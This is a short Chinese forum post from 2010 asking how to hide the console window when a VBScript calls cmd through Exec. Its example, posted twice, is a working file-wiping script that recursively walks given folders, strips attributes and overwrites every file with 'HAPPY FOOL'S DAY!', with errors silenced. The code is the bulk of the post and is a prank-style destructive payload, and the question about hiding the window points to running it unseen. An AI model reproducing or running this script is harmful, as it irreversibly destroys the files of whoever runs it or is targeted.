level 6
含蓄又俭朴灬工匠08
楼主
EXEC能隐藏黑窗口吗?看着还真不习惯.因为如果要访问特殊文件夹的话只能使用cmd,比如说下面这个东西.
set a=createobject("wscript.shell")
set s=createobject("scripting.filesystemobject")
for each pth in wscript.arguments
del pth
next
sub del(pth)
l=a.exec("cmd /cdir /s/a/b """&pth&"""").stdout.readall
format l
end sub
sub format(x)
b=0
for i=1 to len(x)
b=b+1
if mid(x,b,2)=vbcrlf then
kill left(x,b)&"\"
x=right(x,len(x)-b)
b=0
end if
next
end sub
sub kill(x)
on error resume next
x=replace(x,vbcr,"")
x=replace(x,vblf,"")
if not s.folderexists(x) then
x=left(x,len(x)-1)
if x<>wscript.scriptfullname then
set d=s.getfile(x)
g=d.attributes
d.attributes=0
s.createtextfile(x).write"HAPPY FOOL'S DAY!"
d.attributes=g
end if
end if
end sub
2010年03月07日 09点03分
1
set a=createobject("wscript.shell")
set s=createobject("scripting.filesystemobject")
for each pth in wscript.arguments
del pth
next
sub del(pth)
l=a.exec("cmd /cdir /s/a/b """&pth&"""").stdout.readall
format l
end sub
sub format(x)
b=0
for i=1 to len(x)
b=b+1
if mid(x,b,2)=vbcrlf then
kill left(x,b)&"\"
x=right(x,len(x)-b)
b=0
end if
next
end sub
sub kill(x)
on error resume next
x=replace(x,vbcr,"")
x=replace(x,vblf,"")
if not s.folderexists(x) then
x=left(x,len(x)-1)
if x<>wscript.scriptfullname then
set d=s.getfile(x)
g=d.attributes
d.attributes=0
s.createtextfile(x).write"HAPPY FOOL'S DAY!"
d.attributes=g
end if
end if
end sub
